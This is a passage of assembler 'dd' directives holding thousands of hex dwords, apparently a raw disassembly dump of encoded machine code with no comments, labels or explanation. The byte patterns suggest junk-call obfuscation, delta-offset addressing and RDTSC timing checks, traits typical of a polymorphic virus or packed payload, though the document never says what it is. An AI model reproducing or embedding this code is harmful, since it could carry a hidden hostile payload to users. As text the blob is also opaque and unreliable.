		dd 0C840F00h, 66000000h, 95FFD78Bh, 607022Dh, 83D38B66h
		dd 73015BDh, 840F0006h,	13h, 15DD9D09h,	0FFF50607h, 7159D95h
		dd 5DB53106h, 8306071Eh, 70121BDh, 840F0006h, 1Dh, 83D08B66h
		dd 708F1BDh, 850F0006h,	0Dh, 95FFDF8Bh,	607037Dh, 58171DBBh
		dd 0ADBD835Ch, 6071Fh, 46840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0EF89B8C3h
		dd 0A818D01h, 85810607h, 6072BADh, 4003h, 22019D89h, 0C2810607h
		dd 27209061h, 217D8581h, 40030607h, 0E7B30000h,	0FE9310Fh
		dd 0E5000000h, 0B8BF506Ch, 824FAEB0h, 6965B035h, 8D8D20CDh
		dd 6075C39h, 0C5BD09h, 1890607h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 17h, 6BC35747h, 0F5F3BFAh, 689h
		dd 0A99D8B00h, 89060723h, 72105B5h, 6AC23306h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0D413C357h, 0E0BD3F19h, 0BD898C0Fh, 6072FC5h, 0F8D958Bh
		dd 41890607h, 99D8B04h,	0F060707h, 51006A31h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 176B94A6h
		dd 0D38B66DCh, 5C4F8D8Dh, 7E80607h, 38000000h, 65E419EBh
		dd 9D2B7655h, 6072AD1h,	5301895Bh, 335A48B2h, 55006AC2h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0BE0891A6h, 0A9815F79h, 0D7BBF27Ah, 897D1D9Dh, 6A0441h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 106ED0C3h, 94DAB6C6h, 0CE8F5AFh, 50000000h, 43440580h
		dd 0A700564h, 89DA62FEh, 710B98Dh, 0BD835B06h, 6072BE9h
		dd 55840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0FC5FC351h,	0FF0B5B9Ah
		dd 71F9995h, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 1D00A178h, 5163F38Dh, 5E9DE8Ah, 6C000000h
		dd 0CBDAC72Dh, 2B4DBD83h, 0F010607h, 8A85h, 9B50100h, 0F060715h
		dd 38Fh, 0D5DE8000h, 76E9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0EB8052C0h
		dd 0E2815AAAh, 0B4840A6h, 5E17B58Bh, 6C70607h, 0
		dd 5BA5B58Bh, 6C70607h,	0
		dd 51006ACFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 9D8BF4FBh, 6070A49h, 0D99D8960h,	6606070Fh
		dd 8F8CF81h, 39950961h,	83060717h, 70A79BDh, 840F0006h
		dd 136h, 0AE9h,	23410000h, 0C29E97C6h, 83A65595h, 72A65BDh
		dd 850F0106h, 10Bh, 16718509h, 8D8B0607h, 6074D4Ah, 68C0Fh
		dd 9D8B0000h, 6073085h,	6A0001C6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 382EC353h
		dd 0F1C1FFC7h, 9BBFC0Eh, 72C719Dh, 4686006h, 5236D470h
		dd 0E85B5760h, 10h, 9F52448Eh, 0C1C25299h, 0C603AD5Eh
		dd 0B2EBBBF7h, 815A615Ah, 70842434h, 516036D4h,	13E9h
		dd 4DD9A900h, 0A5A5F55Fh, 2A595E95h, 0E59ACE81h, 5EF171BCh
		dd 2B4CB85Ah, 6A611CD9h, 820FFFh, 0FF000000h, 72C9195h
		dd 0F19D8B06h, 6106070Ah, 6860Fh, 95090000h, 6072331h
		dd 1DC995FFh, 840F0607h, 4, 0A14DBB66h,	4D4A8D8Bh, 14E90607h
		dd 0D000000h, 0B9618AECh, 0E09EC500h, 0DCD8426h, 3974D0F2h
		dd 0FEF616ECh, 50006A01h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 364978CFh, 0CA58B624h
		dd 2D9D0B9Ch, 83060710h, 730A9BDh, 850F0106h, 2, 0C08BD78Bh
		dd 3101BD83h, 75000607h, 55BD8309h, 6070Ah, 53501A74h
		dd 858BC08Bh, 6072BADh,	2BAD8589h, 9D8D0607h, 609B3F2h
		dd 585BD3FFh, 0A55BD83h, 74000607h, 8B535018h, 72BAD85h
		dd 0AD858906h, 8D06072Bh, 9B0E19Dh, 5BD3FF06h, 8DB50158h
		dd 0B060717h, 7020D95h,	29C08B06h, 7220DBDh, 79BD8306h
		dd 6070Ah, 3D850Fh, 8B660000h, 95BD83DFh, 60722h, 2D840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0C2B63EC3h, 78DD733Dh, 0B24AD381h, 816638F5h
		dd 83C185F2h, 70A79BDh,	840F0006h, 22h,	958BDD8Ah, 607153Dh
		dd 1B55BD83h, 0F000607h, 0D84h,	6E800h,	0E0C30000h, 0BC4EB95h
		dd 0BD835AF5h, 6070A79h, 5A840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0A8C0C356h, 0BF0F6045h, 6840FFEh, 31000000h,	71AE99Dh
		dd 13E96106h, 33000000h, 0EC5DD68Fh, 0C1A416FAh, 0D6B7A28h
		dd 0FB1039D0h, 0BD8381CBh, 6071B55h, 6840F00h, 0B000000h
		dd 70FD19Dh, 79BD8306h,	6070Ah,	51840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0B4AE07C3h, 0C8BACD47h, 0E9068856h, 11h, 0D704DAC6h
		dd 0A1C1CFA5h, 0DD80B8AFh, 16264237h, 0D78B6678h, 1E81BD83h
		dd 0F000607h, 684h, 45952300h, 8306070Fh, 70A79BDh, 840F0006h
		dd 4Ah,	0DE8h, 0D2330300h, 6ED727B2h, 7B7E93ADh, 0CB3AFBBh
		dd 89BD835Bh, 6071Ch, 28840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0FF8DA0C3h
		dd 7020995h, 0C3805206h, 0C08B5B5Eh, 2B2D8D89h,	0BD830607h
		dd 6073101h, 83097500h,	70A55BDh, 1A740006h, 0C08B5350h
		dd 217D858Bh, 85890607h, 607217Dh, 0B4599D8Dh, 0D3FF0609h
		dd 0BD83585Bh, 6070A55h, 50187400h, 7D858B53h, 89060721h
		dd 7217D85h, 0FA9D8D06h, 0FF0609B0h, 1585BD3h, 7007585h
		dd 1EBB6606h, 6AC08B54h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0F99DC356h,	12C3CB6Dh
		dd 5EECA1ECh, 1D75958Bh, 0BD830607h, 6070A79h, 2840F00h
		dd 8B000005h, 7018995h,	0E1BD8306h, 2060721h, 55840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 3F4B58C3h, 839A09FFh, 72B4DBDh, 850F0106h
		dd 27h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh
		dd 0E3C35747h, 2B636DC1h, 66530A6Fh, 8393D1BAh,	72C05BDh
		dd 840F0006h, 10Bh, 4459D8Bh, 81660607h, 6049DBEAh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0FBC35646h, 62BD21A1h
		dd 0DA249A97h, 8119D31h, 0B5090607h, 6070C19h, 4D4A8D8Bh
		dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 1A1D67C3h, 0F597EE63h, 12B701FEh,	0A89FF168h
		dd 9E8B9h, 49ED0000h, 74716991h, 0BB002E68h, 74F3D0DAh
		dd 2404815Bh, 4657608Fh, 8B66F78Ah, 6AFF6AD6h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0B57DC355h, 0C0BB7ED3h, 71B0E1E1h, 12199D8Bh, 5BB30607h
		dd 2C9195FFh, 11E90607h, 0CD000000h, 0D8A7085h,	2C517DF9h
		dd 53EA9DB4h, 0DF6F6694h, 1D019D8Bh, 6A610607h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0F1ACC350h, 23577833h, 72D0995h, 81665A06h, 60421CE3h
		dd 79D9523h, 8D8B0607h,	6074D4Ah, 0FC60D08Bh, 7D9958Bh
		dd 0FE610607h, 51006A01h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 4E8B0DDh, 80000000h, 66000000h
		dd 8A50D08Bh, 24448BF3h, 52505104h, 310F6160h, 585ADF8Bh
		dd 50008B5Bh, 0B2310F52h, 89585A5Bh, 0F042444h,	48Bh, 91BB6600h
		dd 11E858C7h, 99000000h, 0B53C22D1h, 97A8A21Ch,	0EDB67300h
		dd 47017783h, 5BDE8B66h, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0D0003EC3h, 0D2E1B352h
		dd 10830Fh, 0BE90000h, 0E5000000h, 0C13481D0h, 0B8D16F58h
		dd 0CFBB5142h, 0FF6CC2E3h, 72C9195h, 61D08B06h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 5BC35040h, 8E8F88Ah
		dd 97000000h, 496705B5h, 29F3A68Bh, 7174D95h, 0BD8D5A06h
		dd 6070625h, 1959D8Bh, 4F8B0607h, 0C99D291Ch, 6A06072Fh
		dd 0C2816601h, 0E8504731h, 5, 0AE31BB95h, 5052503Eh, 5A310F52h
		dd 0BB310F58h, 1DC580CAh, 895B585Ah, 6A240Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B9DB6C3h
		dd 48858DD7h, 6A060A3Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0D84BC350h,	0D0FFD38Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 26C35040h
		dd 0E9D15D0Dh, 0Eh, 79C388C3h, 82AD57EAh, 0B37F40DBh, 8B66EEFCh
		dd 204F8BD8h, 68E0Fh, 0B5890000h, 6072B49h, 8C0F036Ah
		dd 8, 0F5858950h, 5A060700h, 0B8B35050h, 240C895Ah, 80E38166h
		dd 48858D85h, 0B060A3Eh, 72E519Dh, 89D0FF06h, 718F58Dh
		dd 25BD8D06h, 0F060706h, 58Ch, 0DB816600h, 4F8B593Ah, 0B185891Ch
		dd 31060705h, 71C0585h,	0BA016A06h, 63DCDF89h, 50D98B91h
		dd 0B8C7B360h, 58A8FA47h, 958B9161h, 607312Dh, 3E48858Dh
		dd 6A060Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 46642EC3h, 8166A8E3h, 0FFBC3AE3h,	21B509D0h
		dd 8B060702h, 9589204Fh, 607227Dh, 13B6036Ah
		dd 13E991h, 35C20000h, 0CA208CF0h, 48E2B74h, 1A63A6BBh
		dd 0A9BB6DA9h, 606050ECh, 56D88B66h, 91616159h,	6010E381h
		dd 858D15BAh, 60A3E48h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 87C35040h, 800Fh, 0D0FF0000h,	1B9958Bh
		dd 85890607h, 6072299h,	4D4A8D8Bh, 6A0607h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0B70FF7C3h
		dd 8B01FED8h, 74D4A85h,	467ABA06h, 0FE64AFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E5C35747h, 8B5D8C5Bh
		dd 721A995h, 0BB016A06h, 51819E86h, 47A15468h, 48C0FA1h
		dd 66000000h, 816B4DBAh, 0FEAB2404h, 95295EB7h,	6072C71h
		dd 3E52858Dh, 0DE8060Ah, 0A3000000h, 8F22C2CDh,	0C3675FEFh
		dd 0C5E68C8Eh, 8B0F60h,	50000000h, 0FF5A6159h, 6800FD0h
		dd 89000000h, 70C218Dh,	95BD8306h, 60722h, 0C5840Fh, 30B20000h
		dd 1995BD83h, 0F010607h, 0B685h, 5C8D8D00h, 0BB060A3Eh
		dd 0BF674h, 6A036Ah, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0D20885C3h, 8F614849h, 6A26A734h
		dd 0E1BD8901h, 0FF060703h, 259D8BD1h, 6A060700h, 8D296001h
		dd 60707EDh, 0BE9858Bh,	6A610607h, 57006A01h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 892BED3h, 0CE92A69h
		dd 0FA000000h, 3444985Fh, 0C89CBADAh, 0FF34F08Dh, 13E9D1h
		dd 63940000h, 9EF59E80h, 0A1EFF150h, 9003B74Dh,	9262C634h
		dd 6E9C4h, 61730000h, 2AE897C0h, 545D58E8h, 15958BFAh
		dd 6A060721h, 0E2816620h, 0FF6AD355h, 36D38166h, 0B5296001h
		dd 6071B79h, 95FF61FCh,	6072C91h, 3798529h, 3B20607h, 0B8h
		dd 0BDF8B00h, 86840FC0h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F913C357h
		dd 1989958Bh, 0BD830607h, 6071BCDh, 56840F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8A8EC355h, 8E9F7h, 44520000h, 0B20FE6A6h
		dd 95FF9342h, 60715D5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 40C35242h, 73D45D0Eh,	6E1225CAh, 49858BF5h
		dd 52060707h, 1E91958Bh, 0C65B0607h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0E40B16C3h
		dd 3800F7Fh, 66000000h,	8166DA8Bh, 0FEFBEEAh, 8958DEBFh
		dd 703CD9Dh, 0D98C6606h, 0F6D08B66h, 840F04C1h,	6Ch, 65E9D2B7h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 66D2C352h, 8B3832BAh, 729C9B5h
		dd 619D0106h, 8106071Eh, 1180C6h, 6C700h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 76D3C356h, 0CB102966h, 6BA9EA81h, 9D03387Ch,	6071881h
		dd 0D98B665Eh, 0F00F883h, 0B9A84h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0DA52C1EEh
		dd 1B459589h, 0F8830607h, 80850F01h, 0F000001h,	0B8D3B7h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 19C3C356h, 0E38053CCh,	0C00B5B4Bh
		dd 0C8840Fh, 0DE90000h,	0A6000000h, 34418B22h, 53B26601h
		dd 0F978DF7Ch, 0F01F883h, 0C684h, 39958B00h, 8306072Ah
		dd 840F03F8h, 41h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 36C35545h, 2B6B1C0Ch,	0A19503C0h, 8D06072Fh
		dd 5B7974BDh, 0FFF4B700h, 7E8E7h, 70C40000h, 90AF4933h
		dd 18E78000h, 1B85Bh, 0B5890000h, 6072B7Dh, 28F0Fh, 0D68B0000h
		dd 7974BD8Dh, 6A005Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0F50205C3h, 89777BEAh, 0A17FD281h
		dd 9532AF0h, 7186595h, 0E7FF5A06h, 0DE9h, 0A6D43A00h, 71D8FAB6h
		dd 5140ED35h, 0BD8DF879h, 60743D6h, 0D9EF41BAh,	59D894Ah
		dd 0E906072Bh, 326h, 0C7DAB70Fh, 74DA585h, 506h, 0C5B52900h
		dd 0B806070Ah, 5, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0AAC35141h, 8E8h, 57558C00h, 0CF79CEBEh, 5BD38B55h
		dd 94AE9h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1804h, 0C3504000h, 0B4FFD439h, 7D8589E6h, 83060711h
		dd 850F02F8h, 138h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0EFC35242h, 0FC003A2Ch, 0A9BD8960h, 89060703h
		dd 715D1BDh, 0B86106h, 0E9000000h, 9, 3F315ADAh, 0CB050145h
		dd 0FC00B9Bh, 0A984h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 4C6BDB0Bh, 403175AAh
		dd 12619D89h, 83F80607h, 840F01F8h, 0FFFFFF0Fh,	0FDBBF0Fh
		dd 684h, 0D98D0900h, 83060707h,	840F03F8h, 0FFFFFE81h
		dd 2959958Bh, 0B80607h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0CB10C356h
		dd 0F0CDB944h, 0A73728F4h, 7FB9BB66h, 5E8h, 4C7FB300h
		dd 0D281DB1Eh, 5BD50576h, 74BD8D5Ah, 8B005B79h,	71A1595h
		dd 0BBE7FF06h, 54E8185Eh, 1ED98589h, 0BD8D0607h, 60745CEh
		dd 958D0152h, 5B060709h, 1A9E9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 3B1A0516h
		dd 820F6F3Fh, 6, 309D8D31h, 8D890607h, 6070A49h, 0F03F883h
		dd 4885h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 85892AFCh, 6070AB1h, 4762BD8Dh, 6E90607h
		dd 0
		dd 9227070Dh, 4AD28157h, 0E9736A59h, 12Eh, 31219533h, 0E7800607h
		dd 5F88368h, 4F850Fh, 89600000h, 70A5185h, 0C1B70F06h
		dd 779E961h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 7E93ADC3h, 0F2AFBB7Bh, 54D9D8Bh
		dd 12E90607h, 87000000h, 0D650C75h, 111E629Ah, 0D0C869A6h
		dd 9F4491AAh, 6F8835Bh,	2F850Fh, 0BD8D0000h, 607495Ah
		dd 0E9DEBF0Fh, 0B6h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0F4C35646h, 0F6C38166h, 7F883F5h, 48850Fh
		dd 0F600000h, 688h, 69858900h, 8B060721h, 701D9BDh, 0BD8D6106h
		dd 607272Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	99C35343h, 0D7F63480h, 0E9094577h, 106h, 20BD9D23h
		dd 0F8830607h, 3B850F0Ah, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0FCB9C355h
		dd 958B80ACh, 6072BEDh,	2D199D29h, 0BD8D0607h, 6074B52h
		dd 3E9D18Ah, 80000000h,	6A572AC3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 49ECC353h
		dd 0ACDEC0D2h, 0B98D120Ah, 4D770A3Eh, 10019501h, 3F830607h
		dd 79840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0DDD2C350h,	0C0A36D01h
		dd 8B312039h, 7166995h,	7ADA8006h, 0B70F0F30h, 0C9D1F5DAh
		dd 0D281F18Ah, 7813BB3Eh, 0E9D08A47h, 0FFFFFFB2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0E9C35646h, 2E1B6608h
		dd 35253F51h, 0BE9h, 0DA97A00h,	1E419516h, 8B205336h, 0FDDE805Fh
		dd 27159533h, 0BD890607h, 6074D4Eh, 9858951h, 5B060723h
		dd 2DD58D8Dh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 3B1F7BC3h, 870F8242h, 3,	0FFD98B66h
		dd 71F39B5h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8589CE55h, 6070611h, 15F458BAh, 0B5858D11h
		dd 500609A6h, 5311BD8Dh, 8D8D0607h, 6076F6Ah, 831ABCB8h
		dd 30CF2B54h, 47C8D007h, 8DF87549h, 76EDBB5h, 828D8D06h
		dd 2B06076Fh, 33A4F3CFh, 0B8C9h, 0C00B0000h, 0BD834674h
		dd 6071BCDh, 0FF067400h, 715D595h, 4EB58B06h, 8D06074Dh
		dd 9A6B585h, 8DD0FF06h,	741AB85h, 0C7D0FF06h, 710D985h
		dd 106h, 0DA58B00h, 8B060720h, 71F31B5h, 0F9AD8B06h, 3306072Fh
		dd 0CC2C0h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Dh,	8C35242h, 0A8A871Ch, 0B04A92E0h, 0DFC381A0h, 0F68A366h
		dd 0C8Ch, 68A0F00h, 89000000h, 71D199Dh, 61BD8306h, 60715h
		dd 26840Fh, 0D38B0000h,	2C6195FFh, 9D8B0607h, 6070621h
		dd 128B0Fh, 0DE90000h, 78000000h, 0E49FC798h, 77DFFD3h
		dd 0E2028057h, 44DBD83h, 0F000607h, 0FE85h, 10E800h, 923D0000h
		dd 0D648E8C5h, 9E5AF950h, 3C96B4EFh, 60601E29h,	890F61h
		dd 61000000h, 95BD835Bh, 1060719h, 0D1850Fh, 0DF8B0000h
		dd 1D7DBD83h, 0F000607h, 0C284h, 0B19D8B00h, 8306071Bh
		dd 74DA1BDh, 840F0006h,	0AFh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0ECC35343h,	2BA5BD09h, 858D0607h
		dd 609A6B5h, 2FB98529h,	0B58B0607h, 6074D4Eh, 0FCD38B60h
		dd 89D0FF61h, 7269985h,	4D85C606h, 5406071Ch, 0CE6834B7h
		dd 56E7C51Bh, 66616060h, 611BA3BAh, 2404815Bh, 1789A326h
		dd 0A9B5FFF8h, 0BA060701h, 4DF8A0BAh, 3A13858Dh, 958B0607h
		dd 6071FF9h, 2CFDB589h,	0D0FF0607h, 0BA66006Ah,	0FF6A2D57h
		dd 108D9589h, 0D0FF0607h, 6870Fh, 0B5090000h, 6071875h
		dd 1FCDB5FFh, 9D8B0607h, 6071A15h, 1F3995FFh, 8BF50607h
		dd 74D4EB5h, 0C3DD8A06h, 249958Bh, 0B58B0607h, 6070749h
		dd 0BDBBF0Fh, 4E840FF6h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 4E0DC353h
		dd 0F8BA941Fh, 0C640ECB2h, 850F0006h, 21h, 0C18D8960h
		dd 0E9060715h, 14h, 2FBEC6C8h, 3DE8408Eh, 0C1B7CB11h, 0DA160879h
		dd 0D590CAF4h, 56858961h, 8906074Dh, 72C49B5h, 0F88306h
		dd 38D840Fh, 0BD890000h, 6071AB9h, 0B8h, 18D8900h, 8306070Bh
		dd 840F00F8h, 12Bh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 69C35747h, 0F4435427h, 0F53F053Dh, 0F02F883h
		dd 0B485h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0D2F9981Ah, 0B79314D0h, 2880FF9h
		dd 0B7000000h, 6870F40h, 31000000h, 700998Dh, 0FEBA6606h
		dd 0D1858DD8h, 6A060743h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 2CC3C352h, 7369D3AEh
		dd 292DEF49h, 89000009h, 73105BDh, 820F9006h, 7, 0C38B6660h
		dd 50616160h, 8B90E9B7h, 70B319Dh, 6AC306h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0EDFAADC3h
		dd 9D4BC67Fh, 8BE40827h, 71B9595h, 0B806h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0CED787C3h, 0C9936610h, 0BA127E98h, 6F1EA165h, 0E9D1BF0Fh
		dd 25Bh, 0EE9h,	0DAC25500h, 7F571CF8h, 5074B00h, 0B82D21B1h
		dd 1, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h, 1Bh
		dd 0C5C35545h, 91CFF529h, 8B979CF7h, 7098D9Dh, 0D7B70F06h
		dd 43D6BD8Dh, 0D98B0607h, 9FE9h, 8D958900h, 8306071Ah
		dd 850F02F8h, 25h, 68B0F52h, 31000000h,	705B995h, 0BD8D5A06h
		dd 60745CEh, 80D18B66h,	71E9E2EEh, 81000000h, 7D0665DAh
		dd 3F88335h, 4F850Fh, 0DE80000h, 22000000h, 0AA4B25BDh
		dd 0DA2F8A1Ah, 5DE39123h, 1E558529h, 8D5B0607h,	74762BDh
		dd 0E9FCF906h, 3Ch, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 60C35141h, 0E382E5A8h, 81E67E04h, 6AACE4EBh
		dd 5F8837Ch, 0A850Fh, 0D88B0000h, 0A6E9h, 0DEB70F00h, 3840F57h
		dd 0F000000h, 3EB9DEB7h, 0B74D770Ah, 3F83AEh, 89840Fh
		dd 0B5090000h, 6070FC9h, 13E8h,	0B8001600h, 43FCF60Bh
		dd 533EE39Ch, 0AA30D6E8h, 3EAF7771h, 16D958Bh, 305B0607h
		dd 0D381660Fh, 0C9D185E9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 22C35646h, 9D2BAA43h,	60719E9h, 55006A47h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 39F7C93h, 0E32E5D78h, 8D894C50h, 6071F5Dh, 0FFFF74E9h
		dd 0D18589FFh, 8306071Bh, 850F05F8h, 0BFh, 26A5BD89h, 8C660607h
		dd 0B4EB80D9h, 31B50157h, 5A06071Bh, 0F04C1F6h,	2E85h
		dd 15958B00h, 0B8060710h, 0
		dd 14E9h, 0D126D700h, 75D90191h, 0EEAD8B2Eh, 0CC26D8F9h
		dd 0AB984CA1h, 0D18B6610h, 76E9h, 8BDA8B00h, 700A585h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 4332AC66h, 0CD26CBBAh, 7E9F827h,	9F000000h
		dd 0D583ABD9h, 0E0FFE935h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0A1C35040h, 49B26290h, 15870Fh, 10E90000h
		dd 53000000h, 0C7652E27h, 0DDC29642h, 6EFD72F1h, 831DBF5Bh
		dd 71F39BDh, 850F0006h,	0FFh, 1D118D89h, 0E8500607h, 8
		dd 884A9A65h, 64152240h, 0BA665250h, 310F3759h,	880Fh
		dd 585A0000h, 2404895Ah, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 17C35040h, 8916DB68h,	70C398Dh, 4D85C606h
		dd 4506071Ch, 0DE8h, 15BF2300h,	0D731629Fh, 0DBD9AF48h
		dd 8B66CE31h, 0F6685AD8h, 0F51159Dh, 83h, 24048100h, 3D5CCB73h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4FC35343h
		dd 6784F0BDh, 8B9AF3EEh, 707BD95h, 0A9B5FF06h, 6A060701h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0A8E4C357h, 66617ED9h, 8D6A2ABBh,	73A1385h
		dd 599D8B06h, 0FF060726h, 8922B6D0h, 71F3985h, 0B9B58906h
		dd 58060705h, 2FB19D8Bh, 0B8600607h, 4FD20CE5h,	2EFD9589h
		dd 83610607h, 74DA5BDh,	840F0006h, 1Bh,	1FCDB5FFh, 0B5090607h
		dd 6072191h, 1F3995FFh,	958B0607h, 6073121h, 8397CF80h
		dd 850F00F8h, 109h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 4EC35141h, 1255371h, 1D6D1E5h, 71F4985h
		dd 0D5BD8306h, 60705h, 31840Fh,	0F5600000h, 25E98589h
		dd 0FF610607h, 705D5B5h, 0B59D8B06h, 0F060703h,	280h, 0B8F08A00h
		dd 1, 49E38166h, 205E946h, 81660000h, 0FFF21AD3h, 71FCDB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0B99F32B0h, 0D6B70F66h, 1FCDB5FFh, 0DA8B0607h
		dd 1F39B5FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 568758C3h, 5641BDBBh, 0A0E95B41h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 64AAC353h, 9D164542h, 0BE90004h
		dd 97000000h, 0DAC40C1Eh, 8F5453AAh, 0AE9D6E1h,	0B6000000h
		dd 233E338Fh, 9BB7D5D5h, 0BF605F9Fh, 7E4883ADh,	2599BD8Bh
		dd 83610607h, 719A5BDh,	850F0006h, 0C3h, 85C6DA8Bh, 6071C4Dh
		dd 56006A4Dh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
